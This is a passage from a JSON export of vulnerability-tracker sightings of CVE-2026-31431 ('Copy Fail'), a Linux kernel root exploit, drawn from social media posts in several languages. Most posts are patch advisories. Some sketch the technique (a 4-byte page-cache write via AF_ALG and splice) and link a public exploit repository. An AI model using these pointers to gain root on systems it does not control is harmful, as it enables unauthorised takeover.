\u30d0\u30a4\u30ca\u30ea", "creation_timestamp": "2026-04-30T15:19:56.215430Z"}, {"uuid": "d396c0e7-d547-4666-a23d-279b7819b5a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kicksecure.com/post/3mkpwmeattb24", "content": "copy.fail / CVE-2026-31431: Linux kernel local privilege escalation.\n\nUpdate kernels when fixes land, then reboot.\n\nHelp wanted: reduce SUID attack surface upstream. If you don\u2019t help, it probably won\u2019t happen.\n\nforums.kicksecure.co...\n", "creation_timestamp": "2026-04-30T15:30:25.815649Z"}, {"uuid": "79c84a3b-d8f5-4773-a2b0-fc05394273b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ineumann.fr/post/3mkpxywbres24", "content": "Elle est m\u00e9ga chaude la CVE-2026-31431, surpris que \u00e7a fasse pas au moins autant de bruit que xzutils ou log4j gitlab.cwcloud.tech/oss/cve-2026... surtout que les patchs sont pas ouf encore", "creation_timestamp": "2026-04-30T15:55:23.597998Z"}, {"uuid": "c17ad11e-90ff-412a-b126-496ab4e1eae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fschmidt.bsky.social/post/3mkpx3dh6rk2x", "content": "CVE-2026-31431 (Kollegen haben es schon gefixt.)", "creation_timestamp": "2026-04-30T15:38:47.760981Z"}, {"uuid": "7f4b0809-23fc-4fc6-82bb-203d5612c94b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkpxh6nhik2q", "content": "The \u201cCopy Fail\u201d flaw (CVE-2026-31431) allows local attackers to gain root access on Linux kernels since 2017 via a controlled 4-byte write to page cache using AF_ALG and splice. #LinuxKernel #LocalExploit #USA", "creation_timestamp": "2026-04-30T15:45:25.883286Z"}, {"uuid": "66d8f06f-0c71-4c73-8f66-ef8f645a4ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/samuelvermeulenpro.bsky.social/post/3mkpxhueple2z", "content": "#ActuLibre - Copy Fail (CVE-2026-31431) : d\u00e9tecter, corriger, comprendre \u00e0 lire sur\nhttps://loud-technology.com/insight/copy-fail-cve-2026-31431-faille-kernel-linux/", "creation_timestamp": "2026-04-30T15:45:48.344187Z"}, {"uuid": "672dd42a-b655-4303-ac37-551c7ce6c40f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpxq37ox2j2", "content": "CVE-2026-31431: \u201cCopy Fail\u201d Linux kernel flaw lets local users gain root in seconds\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T15:50:27.053718Z"}, {"uuid": "7d12b601-d455-4dfa-a51c-d77423715cdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bellmore.bsky.social/post/3mkpyftxtk22v", "content": "Nerd friends:\n\nYesterday, CVE-2026-31431 (\"Copy Fail\") was publicly disclosed. This exploit allows an unprivileged shell user on a Linux system to gain root access with a simple 10-line Python script. The mechanisms for the exploit can be found at copy.fail.\n\nPlease patch your systems ASAP!\n#Infosec", "creation_timestamp": "2026-04-30T16:02:34.151393Z"}, {"uuid": "d84f14f2-85a0-438b-a814-c6309bda6827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mkpyn2ctmpy2", "content": "Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability A flaw in the Linux kernel present since 2017 allows a local user to gain root access on...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T16:06:38.980933Z"}, {"uuid": "1a784a25-e75a-4a64-b9a2-a02b6b03b35d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lampsofgold.veoh.social.ap.brid.gy/post/3mkpz6kljg572", "content": "@mntmn looks like there\u2019s an aarch64 port https://github.com/theori-io/copy-fail-CVE-2026-31431/pull/25", "creation_timestamp": "2026-04-30T16:16:24.346711Z"}, {"uuid": "fccde9ef-75ba-4b57-9e30-48b7c1e63c97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkpzr5h2th25", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T16:26:47.142428Z"}, {"uuid": "4146553c-1f2e-4f9c-a30e-e7996c165353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkpzxujny62s", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T16:30:32.598522Z"}, {"uuid": "4059e598-c5a2-4374-a893-6e1a8cfb17b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq27k433p2v", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T16:34:50.009044Z"}, {"uuid": "84758647-e254-471d-804e-c4473e751fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/canartuc.com/post/3mkq2arf6e72p", "content": "Xint Code disclosed CopyFail (CVE-2026-31431) Wednesday. Logic bug in the kernel crypto socket layer from a 2017 commit. Nine years on every major distro. Fuzzing missed it. Static analysis missed it. AI-assisted review caught it. Rust would not have, this is logic.\n\n#Linux #InfoSec #OpenSource", "creation_timestamp": "2026-04-30T16:35:31.330211Z"}, {"uuid": "7475ed26-25f9-43d5-968b-4c4860c88e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/iwate.me/post/3mkq2k2afdn2p", "content": "[AUTO] I read this.\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nhttps://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-04-30T16:40:42.461637Z"}, {"uuid": "bc1da2f3-28be-4638-ba0a-a550cf365b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/egghat.bsky.social/post/3mkq2way7zv2t", "content": "Oops.\n\n\u201eIf your kernel was built between 2017 and the patch \u2014 which covers essentially every mainstream Linux distribution \u2014 you're in scope.\u201c\n\nCopy Fail \u2014 CVE-2026-31431 copy.fail\n#BadNews", "creation_timestamp": "2026-04-30T16:47:32.774775Z"}, {"uuid": "15f6402a-90e7-4620-b388-472d86851c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/captechgroup.com/post/3mkq2waszmp2n", "content": "CVE-2026-31431 gives any local user reliable root access on Linux systems deployed since 2017, with no race conditions needed and no forensic traces left behind. #infosec #cybersecurity", "creation_timestamp": "2026-04-30T16:47:33.314794Z"}, {"uuid": "55cf6e44-b903-4189-9e83-0541ccabe7c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/codeenigma.toots.codeenigma.com.ap.brid.gy/post/3mkq2ryjeosl2", "content": "In case anyone is wondering about exposure to #CopyFail, CVE-2026-31431, well we're exposed of course, like everyone. Currently waiting for a #Debian patch to drop. unattended-upgrades will take care of applying it and we will take care of reboots as required.\n\nFORTUNATELY, in almost every case [\u2026]", "creation_timestamp": "2026-04-30T16:47:42.867419Z"}, {"uuid": "a38e5f7d-69b4-4a92-828a-f5128536666a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/codeenigma.toots.codeenigma.com.ap.brid.gy/post/3mkq2ua423fv2", "content": "Related links:\n\nhttps://copy.fail/\nhttps://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-04-30T16:49:20.896241Z"}, {"uuid": "b127a3d5-bfde-45ed-a157-12b8da120133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116494699869475729", "content": "New.\n\"Hello! Yes, it's all a disaster again!\"\nWatch Tower: The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940) https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/ #threatresearch \nAlso:\nTenable: Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability https://www.tenable.com/blog/copy-fail-cve-2026-31431-frequently-asked-questions-about-linux-kernel-privilege-escalation @tenable #Linux #infosec #vulnerability", "creation_timestamp": "2026-04-30T16:54:12.966621Z"}, {"uuid": "c490b9de-6d61-4eb2-bba2-8d4de14c846e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mkq44qmae72c", "content": "Critical #LinuxKernel vulnerability 'Copy Fail' (CVE-2026-31431) grants root access across major distributions since 2017. Immediate patching recommended. #CyberSecurity #Linux #Vulnerability Link: thedailytechfeed.com/critical-lin...", "creation_timestamp": "2026-04-30T17:09:05.496194Z"}, {"uuid": "2516ff9a-fd70-476c-bd01-7123cd02d3d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/upsun.com/post/3mkq4pfzvfs25", "content": "We are aware of the recently disclosed copy.fail vulnerability (CVE-2026-31431) and want to assure our customers that Upsun systems are not affected. The module targeted by this vulnerability is disabled in our platform. There is no risk of exploitation, and no action is required on your part. \u2728 1/3", "creation_timestamp": "2026-04-30T17:19:35.238890Z"}, {"uuid": "333fa63b-b55a-4202-b1f7-36db7ad8cc08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mkq4jiyuei27", "content": "Copy Fail Linux vuln allows root\u00a0access\n\nYesterday, Theori disclosed\u00a0CVE-2026-31431, dubbed\u00a0Copy Fail, a Linux kernel vulnerability that allows any unprivileged local user to gain root access on virtually every major Linux distribution shipped since 2017. In the Linux kernel, the following\u2026", "creation_timestamp": "2026-04-30T17:16:11.893065Z"}, {"uuid": "61a600d7-a1c8-4327-ab32-42e4ee057c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq4l6u2tt2v", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T17:17:08.483737Z"}, {"uuid": "1cd8e428-b107-4e4c-9381-037cd9e44fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/epowo-uzata.mast.qixto.com.ap.brid.gy/post/3mkq4lw5cy6h2", "content": "Kopiointi ep\u00e4onnistui: Linux-ytimen LPE mahdollistaa roottauksen 10-rivisell\u00e4 Python-skriptill\u00e4 CVE-2026-31431, nimelt\u00e4\u00e4n Copy Fail, hy\u00f6dynt\u00e4\u00e4 Linux-ytimen authencesn\n\nhttps://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/", "creation_timestamp": "2026-04-30T17:17:35.781060Z"}, {"uuid": "2844e5af-2b39-4e6b-ab9f-0515c93b64cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/upsun.com/post/3mkq4pfzpkc25", "content": "We are aware of the recently disclosed copy.fail vulnerability (CVE-2026-31431) and want to assure our customers that Upsun systems are not affected. The module targeted by this vulnerability is disabled in our platform. There is no risk of exploitation, and no action is required on your part. \u2728 1/3", "creation_timestamp": "2026-04-30T17:19:30.654806Z"}, {"uuid": "3f000655-74b6-4996-8059-06894783b4f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/upsun.com/post/3mkq4pfzugk25", "content": "We are aware of the recently disclosed copy.fail vulnerability (CVE-2026-31431) and want to assure our customers that Upsun systems are not affected. The module targeted by this vulnerability is disabled in our platform. There is no risk of exploitation, and no action is required on your part. \u2728 1/3", "creation_timestamp": "2026-04-30T17:19:31.836980Z"}, {"uuid": "918da6db-9d1c-43ae-8c03-5e4a738b3564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/derdreschi84.bsky.social/post/3mkq55flkes2g", "content": "Copy Fail #Linux Kernel Flaw Allows Local Users to Gain Root\n\nCopy Fail (CVE-2026-31431) is a Linux kernel vulnerability that allows local unprivileged users to gain root access on affected systems.", "creation_timestamp": "2026-04-30T17:27:22.813945Z"}, {"uuid": "e61d4343-1a2e-46e3-84c9-9e7b8c5d689f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mkq56enhxs25", "content": "Critical #LinuxKernel vulnerability 'Copy Fail' (CVE-2026-31431) grants root access across major distributions since 2017. Immediate patching recommended. #PotatoSecurity #Linux #Vulnerability Link: thedailytechfeed.com/critical-lin...", "creation_timestamp": "2026-04-30T17:27:51.979284Z"}, {"uuid": "58c3d55f-ef25-42ce-ba5e-d4f1fcc086aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq5ojctew2x", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T17:36:54.031232Z"}, {"uuid": "0fb4a576-9a5f-4295-a3ed-3dbb415d9959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq755f5zn2s", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T18:02:58.518756Z"}, {"uuid": "d2dfd964-b2e7-40ef-a926-71e36332e656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ciq.com/post/3mkq77seepu2m", "content": "CVE-2026-31431 (Copy Fail) is a Linux kernel privilege escalation vulnerability with a public exploit now in the wild. It affects Rocky Linux 8, 9, and 10.\nHere is how CIQ is responding. kb.ciq.com/article/rock...", "creation_timestamp": "2026-04-30T18:04:29.411014Z"}, {"uuid": "da04b6c3-b37e-43de-8aca-fda1fc93cdc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mkq7nqpalqs2", "content": "Copy Fail Linux vuln allows root access Yesterday, Theori disclosed CVE-2026-31431, dubbed Copy Fail, a Linux kernel vulnerability that allows any unprivileged local user to gain root access on v...\n\n#Commentary #LINUX\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T18:12:22.516785Z"}, {"uuid": "bc5d2ec3-8fce-4251-bf14-6c1eebae96e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mkq7pa5sr72q", "content": "The 'Copy Fail' vulnerability (CVE-2026-31431) has been silently giving hackers root access on Linux since 2017. This isn't just another bug; it's a fundamental challenge to container security. Find out how it works and why patching is\u2026\n\nhttps://www.tpp.blog/2i0m9zn\n\n#opensource #linux #copyfail", "creation_timestamp": "2026-04-30T18:13:06.894998Z"}, {"uuid": "584ac4ce-fd94-4ae6-bdf9-91e37238d8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mkq7ujxok52e", "content": "Some notes on Copy Fail or CVE-2026-31431, found by Xint Code (\nhttps://\nxint.io/blog/copy-fail\n-linux-distributions\n\u2026). This is a very stable and very straightforward exploit. It worked almost on anything I tested and in some cases,\u2026\n\n\u2014 from @craiu (https://x.com/craiu/status/2049810338577584637)", "creation_timestamp": "2026-04-30T18:16:03.739777Z"}, {"uuid": "6e96c342-9915-4ad3-b66a-98a7a4fe1019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vukinaj.bsky.social/post/3mkqbxeavm22f", "content": "Tak #update, p\u0159\u00e1tel\u00e9. \n\n#CopyFail a sledovan\u00fd jako CVE-2026-31431\n\n#Linux \n\ncybernews.com/security/cri...", "creation_timestamp": "2026-04-30T18:53:30.868666Z"}, {"uuid": "4bb6f500-376f-48c2-805c-3663298354ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mkqcfbtk7v2x", "content": "CVE-2026-31431: The 732-Byte Linux Rootkit That Hid for 9 Years \u2013 Update Now! +\u00a0Video\n\nIntroduction: A recently disclosed Linux kernel vulnerability, CVE-2026-31431, allows any local user to gain root access using a mere 732-byte Python script. This flaw has remained undetected in all major Linux\u2026", "creation_timestamp": "2026-04-30T19:01:15.769263Z"}, {"uuid": "91cd157d-aed2-4fd5-a9ab-fb56315cc33d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3mkqdbcrscg2o", "content": "A critical Linux kernel vulnerability (CVE-2026-31431) allowing local privilege escalation, introduced in kernel 4.14, has been fixed in versions 6.18.22, 6.19.12, and 7.0. Older long-term kernels are still vulnerable as the fix does not apply cleanly.", "creation_timestamp": "2026-04-30T19:16:53.240764Z"}, {"uuid": "a4494b32-9a9a-49ff-8934-edd693964a45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sinologic.net/post/3mkqebri5iq2b", "content": "Copy Fail (CVE-2026-31431): la IA encuentra un exploit de 732 bytes que da root en cualquier Linux desde 2017\n\nUn fallo l\u00f3gico en el subsistema criptogr\u00e1fico del kernel de Linux lleva casi un\u2026\n\n#copy_fail #CVE #exploit #IA #Inteligencia_Artificial #kernel #Linux #root #Seguridad #vulnerabilidad", "creation_timestamp": "2026-04-30T19:35:04.686926Z"}, {"uuid": "904ec88d-b967-4d89-8af0-50693178ba96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.info.ve/post/3mkqeqxlstc2w", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona 'Copy Fail'? El #exploit de 732 bytes que otorga acceso #Root en #Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.info.ve/2026/04/copy...", "creation_timestamp": "2026-04-30T19:43:58.426836Z"}, {"uuid": "f70233a3-0243-4f1d-adc4-b1db6fc7e0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mkqfohaqiak2", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy Fail \u0432 \u044f\u0434\u0440\u0435 Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f Copy Fail (CVE-2026-31431) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 Linux: ...\n\n#\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T20:00:08.499549Z"}, {"uuid": "367f0b6c-7ab3-454a-bed2-72f9ddf03716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/startuphub.bsky.social/post/3mkqfscmeil2i", "content": "Together AI details how it shut down the Copy Fail CVE-2026-31431 Linux kernel vulnerability, disabling a critical crypto socket interface to protect its AI infrastructure.\n\nhttps://www.startuphub.ai/ai-news/technology/2026/together-ai-halts-copy-fail-exploit", "creation_timestamp": "2026-04-30T20:02:11.191842Z"}, {"uuid": "2bc588cc-bb75-4548-aa4e-2a175290724d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Linux-Maintainers.activitypub.awakari.com.ap.brid.gy/post/3mkqfv57ht432", "content": "AL26-009 - Vulnerability Affecting Linux - CVE-2026-31431 Introduction to Malware Binary Triage (IMBT) Course Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor...\n\n#Malware #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T20:05:57.833691Z"}, {"uuid": "9e5ba3ff-d6d9-4fc4-9b9d-40c3e9adfaf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/billstatler.forum.statler.ws.ap.brid.gy/post/3mkqg2x3b4qo2", "content": "From CVE-2026-31431, the list of Linux kernel versions that are affected by the vulnerability:\n\n**affected**\n\u2022 affected at 4.14\n\n**unaffected**\n\u2022 unaffected from 0 before 4.14\n\u2022 unaffected from 5.10.254 through 5.10.*\n\u2022 unaffected from 5.15.204 through 5.15.*\n\u2022 unaffected from 6.1.170 through 6 [\u2026]", "creation_timestamp": "2026-04-30T20:10:21.399276Z"}, {"uuid": "753448e8-9718-417d-aba8-62d9c5517ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Earl.mast.john1126.com.ap.brid.gy/post/3mkqgx54jwt52", "content": "So this tiny piece of Python code is responsible for Copy Fail (CVE-2026-31431)? I am considering testing this on one of my own machines to see if the exploit actually works. If it does, I will post a follow-up to warn others.\n\n#Linux #CopyFail", "creation_timestamp": "2026-04-30T20:22:50.516015Z"}, {"uuid": "317d1820-3d2b-4a45-aa8a-8399a9bfb0e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mkqh7i4h5c27", "content": "SIOS\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d6\u30ed\u30b0\u3092\u66f4\u65b0\u3057\u307e\u3057\u305f\u3002\n\nLinux Kernel\u306e\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u306b\u3088\u308b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027(Copy Fail: CVE-2026-31431)\n\n#security #vulnerability #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027 #linux #kernel #copyfail\n\nsecurity.sios.jp/vulnerabilit...", "creation_timestamp": "2026-04-30T20:27:29.904828Z"}, {"uuid": "7ad0e2e9-677f-43fe-bf0c-23e45d533f34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ercanceviz.bsky.social/post/3mkqi3qbo7e2k", "content": "Linux\u2019ta Y\u0131llard\u0131r Kapat\u0131lmayan A\u00e7\u0131k Tespit\u00a0Edildi\n\nLinux \u00e7ekirde\u011finde ke\u015ffedilen Copy Fail (CVE-2026-31431) g\u00fcvenlik a\u00e7\u0131\u011f\u0131, yerel kullan\u0131c\u0131lar\u0131n root yetkisi almas\u0131na neden oluyor. Detaylar haberimizde.", "creation_timestamp": "2026-04-30T20:43:14.911726Z"}, {"uuid": "3fc67bf7-9116-4dcb-ab88-81c6f5977aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mkqibwl63k2m", "content": "TeamPCP trojanises 4 SAP npm packages, scrapes CI memory for cloud/GH secrets. Dormant backdoor in 70K WP sites. Linux LPE CVE-2026-31431. Qinglong RCE drops cryptominers ITW.\n\nFull 